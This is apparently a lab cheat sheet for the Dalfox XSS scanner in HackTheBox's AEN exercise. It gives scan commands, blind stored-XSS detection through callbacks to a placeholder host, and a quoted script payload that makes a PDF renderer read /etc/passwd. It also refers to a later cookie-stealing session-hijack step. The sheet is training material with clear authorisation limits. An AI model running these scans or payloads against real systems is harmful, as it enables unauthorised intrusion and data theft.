Dalfox — HTB and AEN Cheat Sheet

Summary

Dalfox automates XSS parameter discovery, reflection analysis, context-aware payload selection, DOM/AST analysis, and proof-of-concept generation. In AEN Note 5 its strongest fit is Step 7, where an authenticated support-ticket submission stores input that an administrator later renders. Capture the real ticket request in Burp, give Dalfox that raw request, restrict the scan, and use an out-of-band callback to detect the delayed execution. Dalfox is not the validator for Step 8’s server-side PDF local-file-read chain; that requires the staged manual renderer tests in the dedicated Step 8 sheet.

[!danger]+ Authorisation and Impact Boundary

1. Use these commands only in HTB, an intentionally vulnerable lab, or an explicitly authorised engagement.
2. XSS scanning sends executable markup and can create persistent records. Start with one target, low concurrency, and a harmless proof.
3. A blind callback proves code execution and outbound reachability. It does not require collecting cookies, page contents, credentials, or other victim data.
4. Do not scan logout, delete, purchase, administration, or other state-changing endpoints unless the test plan specifically permits them.
5. Remove stored test records and callback data when the exercise ends.

[!tip]+ Related Notes

1. AEN source: 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
2. AEN Step 7 explanation: Step 7 - Blind XSS Session Hijack Cheat Sheet
3. General XSS workflow: Cross-Site Scripting (XSS) - HTB Cheat Sheet
4. Blind-XSS operations: Blind XSS to Session Hijacking - HTB Cheat Sheet
5. Step 8 renderer chain: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet

1. What Dalfox Does

Pipeline in Plain Language

[!important]+ Scanner Result Is the Start of Verification

A reflected marker is not automatically XSS. Reproduce the smallest reported case in Burp or a browser, confirm where the value lands, and distinguish HTML injection, JavaScript execution, and actual impact.

Finding Labels

2. Install and Confirm the CLI

This sheet targets the Dalfox v3 command layout. Older v2 tutorials use commands such as dalfox url, dalfox file, and dalfox pipe; v3 puts these inputs under dalfox scan.

macOS

brew install dalfox
dalfox --version
dalfox scan --help

Expected result: the version command prints the installed build, and the scan help lists URL/file/pipe/raw-HTTP/HAR inputs. Version text varies by release.

Cargo Alternative

cargo install dalfox
dalfox --version

Quick Command Map

dalfox --help
dalfox scan --help
dalfox payload --help
dalfox payload blind

3. Choose the Right Input Shape

Decision Table

Simple GET Discovery

First inspect how Dalfox interprets the target without running the full payload scan:

dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' --dry-run

Then scan the known query parameter conservatively:

dalfox scan --input-type url 'http://lab.local/search?q=aen-marker' \
  -p q:query \
  --workers 2 \
  -r 2 \
  --only-poc v \
  --poc-type http-request

Expected result: Dalfox tests q, reports reflection/context information, and prints a proof only if it reaches the selected verified class. No finding is also a valid result; inspect whether authentication, context, or client-side rendering was missed.

Direct Form POST

dalfox scan --input-type url 'http://lab.local/comment' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'message=aen-marker' \
  -p message:body \
  --workers 1 \
  -r 1

[!warning]+ Do Not Guess Form Field Names

The AEN page label is Message, but the underlying POST name is not shown in Note 5. Inspect the captured request. If it is content=..., use content:body; if it is msg=..., use msg:body. The visible label and HTTP name do not have to match.

4. Raw HTTP from Burp

Raw HTTP is the most reliable option for authenticated HTB forms.

Capture Procedure

1. Submit one normal, harmless ticket in the browser while Burp Proxy is recording.
2. Find the corresponding POST request in HTTP history.
3. Confirm it contains the expected host, path, cookie, content type, CSRF value, and form body.
4. Save the request message only as support-ticket.txt in a clean lab directory.
5. Replace real secrets in study notes, but keep the live lab file complete while testing.
6. Run the dry check below before active scanning.

Illustrative structure—the real request is authoritative:

POST /ticket.php HTTP/1.1
Host: support.inlanefreight.local
Cookie: session=REDACTED_LAB_SESSION
Content-Type: application/x-www-form-urlencoded
Connection: close

subject=aen-dalfox&ACTUAL_MESSAGE_PARAMETER=normal-test-message

dalfox scan --input-type raw-http support-ticket.txt --dry-run

Expected result: Dalfox recognises one POST request and its body parameters. --dry-run validates the planned input; it does not prove XSS.

Restrict to One Known Parameter

After reading the raw body, optionally narrow the scan:

dalfox scan --input-type raw-http support-ticket.txt \
  -p ACTUAL_MESSAGE_PARAMETER:body \
  --workers 1 \
  -r 1

If the name is still uncertain, omit -p and allow discovery, then use the output to choose the real parameter for the next run.

Through Burp for Visibility

dalfox scan --input-type raw-http support-ticket.txt \
  --proxy http://127.0.0.1:8080 \
  --workers 1 \
  -r 1

This routes Dalfox traffic through Burp so each generated request can be inspected. Ensure Burp’s listener is on 127.0.0.1:8080 and avoid intercepting every request unless you intend to step through them manually.

[!failure]+ Raw Request Fails but Browser Works

1. Refresh expired cookies and CSRF tokens.
2. Verify the Host header resolves to the HTB target.
3. Preserve the original body encoding: form, JSON, or multipart.
4. Check whether the application requires a preceding request or one-time token.
5. Compare Dalfox traffic with a working browser request in Burp before changing payload flags.

5. AEN Step 7 — Blind Stored XSS

Why Normal Scanning Is Not Enough

The vulnerable support ticket is rendered later by an administrator or automated agent. The submission response cannot show the privileged DOM, so immediate reflection analysis may report little or nothing. The useful signal is a unique outbound callback created when the stored record is viewed.

Option A — Dalfox-Managed OOB Check

dalfox scan --input-type raw-http support-ticket.txt \
  --blind-oob \
  --blind-oob-wait 120 \
  --workers 1 \
  -r 1 \
  -f json \
  -o support-dalfox.json \
  --include-request

Line-by-line:

1. --input-type raw-http replays the authenticated form shape captured in Burp.
2. --blind-oob creates out-of-band payloads and monitors the default OOB service.
3. --blind-oob-wait 120 keeps polling for two minutes after injection.
4. One worker and one request per second limit duplicate stored tickets and load.
5. JSON output preserves machine-readable evidence; --include-request records the triggering request.

Expected result after the support agent views the ticket: an OOB interaction correlated to a Dalfox payload. If the agent does not view the record within 120 seconds, the scan may end without a reported interaction even though the ticket remains stored.

[!warning]+ Delayed Review Can Outlive the Scan

The --blind-oob-wait value is only the post-scan polling window. A ticket opened ten minutes later needs a persistent collector whose logs remain available; increasing the wait indefinitely is not a substitute for planning the asynchronous workflow.

Option B — Persistent Callback You Control

dalfox scan --input-type raw-http support-ticket.txt \
  -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
  --workers 1 \
  -r 1 \
  -f json \
  -o support-blind.json \
  --include-request

Use an Interactsh, Burp Collaborator, or self-hosted lab endpoint that remains observable after Dalfox exits. Give every run a unique subdomain/path so a late callback can be tied to one field and timestamp.

Why --sxss Is Not the First AEN Choice

Dalfox’s stored-XSS mode can submit to one endpoint and revisit a retrieval page:

dalfox scan --input-type url 'https://lab.local/post-comment' \
  --sxss \
  --sxss-url 'https://lab.local/comments'

This works only when Dalfox can access the page that renders the stored value. In AEN Step 7 the important renderer is the admin ticket view, which is unavailable before session compromise. Therefore:

1. Use blind OOB detection first.
2. Treat the callback as the XSS proof.
3. Keep AEN’s later session-impact demonstration manual and separate.
4. Do not call a missing --sxss result evidence that the ticket is safe.

AEN Evidence Ladder

Safe First Proof Versus AEN Escalation

Dalfox should first produce only an OOB execution canary. AEN’s later document.cookie collection is a separate impact step documented in Step 7 - Blind XSS Session Hijack Cheat Sheet. Do not make sensitive collection the scanner’s default: HttpOnly may correctly prevent reading the cookie, and XSS is still real even when no cookie is exposed.

6. AEN Step 8 — Dalfox Boundary

Step 8 injects HTML/JavaScript into a server-side PDF renderer and uses that renderer’s local privileges to request file:///etc/passwd. This differs from ordinary reflected or stored browser XSS.

[!important]+ Correct Tool Choice

Dalfox may help locate a reflected tracking parameter, but it does not model the PDF generation/retrieval workflow or validate file:// content inside the generated artifact. Follow Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet: visible text/HTML first, harmless JavaScript second, then the authorised local-file request. Do not interpret “Dalfox found no XSS” as evidence that the renderer chain is safe.

The AEN payload:

<script>
x = new XMLHttpRequest;
x.onload = function () {
  document.write(this.responseText)
};
x.open("GET", "file:///etc/passwd");
x.send();
</script>

belongs in the tracking form field, not in Dalfox or a terminal. It creates a request inside the PDF worker, waits for the response, and writes that response into the rendered document. The important security assumption is the renderer’s ability to access the file:// scheme; a normal browser commonly blocks this cross-origin access.

7. AEN Note 5 Applicability Matrix

This matrix prevents a common mistake: choosing a scanner first and forcing every application into its vulnerability model. In Note 5, Dalfox is a specialist for the support XSS, not the general web-enumeration engine.

8. Parameters and Scope Controls

Parameter Locations

-p q:query
-p message:body
-p profile:json
-p session:cookie
-p X-Forwarded-For:header

Supported locations include query strings, bodies, JSON, multipart fields, cookies, and headers. Use the location suffix when the same name could appear in more than one place.

Restrict Noise

dalfox scan urls.txt \
  --include-url 'support\.inlanefreight\.local' \
  --exclude-url '/logout|/delete|/admin/action' \
  --ignore-param 'csrf,submit' \
  --workers 2 \
  --max-concurrent-targets 1 \
  -r 2 \
  --delay 500

Discovery Controls

9. Payload Strategy and PayloadsAllTheThings

Let Context Drive Payload Choice

Dalfox’s generated payloads account for the observed parsing context and encodings. Useful controls include:

dalfox scan 'http://lab.local/search?q=aen-marker' \
  -p q:query \
  -e url,html

Available encoders include none, url, repeated URL encoding, html, htmlpad, base64, unicode, and zero-width-space variants. More encoders create more traffic; use only those justified by the observed transform.

Local PATT Quick List

The local repository contains:

/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt

It currently contains 38 quick payload lines and is largely designed around visible alert()/prompt() proofs. Review it before use:

sed -n '1,80p' '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt'

Use it only on an interactive lab page where pop-ups and event-triggered payloads are acceptable:

dalfox scan 'http://lab.local/search?q=aen-marker' \
  -p q:query \
  --custom-payload '/Users/daemon1/git/PayloadsAllTheThings/XSS Injection/Intruders/xss_payloads_quick.txt' \
  --workers 1 \
  -r 1

[!warning]+ Why This Is Wrong for the AEN Ticket by Default

A pop-up list creates many stored tickets, may interrupt the support agent, and does not provide reliable delayed correlation. For Step 7 use Dalfox’s blind callback mode with one unique OOB identifier. Use PATT to understand candidate primitives, not as an unreviewed firehose.

Built-In Remote Collections

dalfox scan 'http://lab.local/search?q=aen-marker' \
  --remote-payloads portswigger,payloadbox

This fetches supported remote sets; it is not a PATT integration. Record the source/version used so the test is reproducible, and apply the same scope/rate controls.

Replace Rather Than Supplement

dalfox scan 'http://lab.local/search?q=aen-marker' \
  --custom-payload reviewed-lab-payloads.txt \
  --only-custom-payload

Without --only-custom-payload, custom lines supplement Dalfox’s generated payloads. With it, only the reviewed file is used. This is useful when an engagement permits a narrowly approved payload set.

10. Output, Evidence, and Exit Codes

Human-Readable Markdown

dalfox scan --input-type raw-http request.txt \
  -f markdown \
  -o dalfox-findings.md \
  --include-request \
  --include-response \
  --poc-type http-request

JSON for Later Review

dalfox scan --input-type raw-http request.txt \
  -f json \
  -o dalfox-findings.json \
  --include-request

Supported formats include plain text, JSON, JSONL, Markdown, SARIF, and TOML. Include response bodies only when needed because they may contain sessions, personal data, or large amounts of content.

Exit-Code Meaning

An exit code of 1 is not a shell failure in the ordinary sense; it lets CI distinguish “finding present” from “no finding.” Always inspect the report before deciding severity.

Evidence Checklist

1. Dalfox version and exact command.
2. Sanitised raw request shape and parameter location.
3. Scope/rate settings.
4. Finding label and generated proof.
5. Manual reproduction in the correct browser/rendering context.
6. For blind XSS: unique callback ID, protocol, timestamp, source, and user agent.
7. A clear boundary between execution proof and impact proof.
8. Cleanup of stored records, reports, sessions, and callback data.

11. Troubleshooting

12. Fast Runbooks

Reflected GET XSS

1. Start with a marker and inspect the response/DOM.
2. Run --dry-run.
3. Restrict to the known query parameter.
4. Scan at a low rate.
5. Reproduce only the smallest verified PoC.

dalfox scan 'http://lab.local/search?q=aen-marker' \
  -p q:query \
  --workers 2 \
  -r 2 \
  --only-poc v \
  --poc-type http-request

Authenticated Form

1. Submit a normal form through Burp.
2. Save the working request as raw HTTP.
3. Confirm cookies, CSRF token, content type, and body.
4. Dry-run, then restrict the actual input name.
5. Proxy the scan through Burp if you need request-by-request visibility.

dalfox scan --input-type raw-http request.txt \
  -p ACTUAL_PARAMETER:body \
  --proxy http://127.0.0.1:8080 \
  --workers 1 \
  -r 1

AEN Step 7 Blind Ticket

1. Capture one normal ticket POST.
2. Keep the session/CSRF state fresh.
3. Choose a unique, authorised OOB callback.
4. Run one worker at one request per second.
5. Keep the collector observable long enough for delayed admin review.
6. Record the callback as execution proof.
7. Follow the Step 7 sheet for separately authorised impact validation and cleanup.

dalfox scan --input-type raw-http support-ticket.txt \
  -b 'https://UNIQUE-ID.YOUR-AUTHORISED-CALLBACK.example' \
  --workers 1 \
  -r 1 \
  -f json \
  -o support-blind.json \
  --include-request

Lessons Learned

1. Raw HTTP avoids inventing parameter names and preserves authenticated request state.
2. Blind stored XSS is asynchronous; callback lifetime matters as much as payload syntax.
3. --sxss needs an accessible retrieval page, which AEN’s pre-compromise admin workflow does not provide.
4. PATT expands payload knowledge, but Dalfox’s context analysis should decide which syntax is worth testing.
5. A negative Dalfox result does not cover server-side PDF rendering, SQLi, IDOR, LFI, XXE, upload flaws, or command injection.
6. Reflection, execution, data access, and session impact are separate claims requiring separate evidence.

References

1. Dalfox — Official GitHub Repository
2. Dalfox — Installation
3. Dalfox — CLI Reference
4. Dalfox — Scanning Modes
5. Dalfox — Stored XSS
6. Dalfox — Parameters
7. Dalfox — Payloads
8. Dalfox — Output
9. PayloadsAllTheThings — XSS Injection
10. 5 - Web Application Enumeration#Step 7 — support.inlanefreight.local (Blind XSS → Session Hijack)
11. Step 7 - Blind XSS Session Hijack Cheat Sheet
12. Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet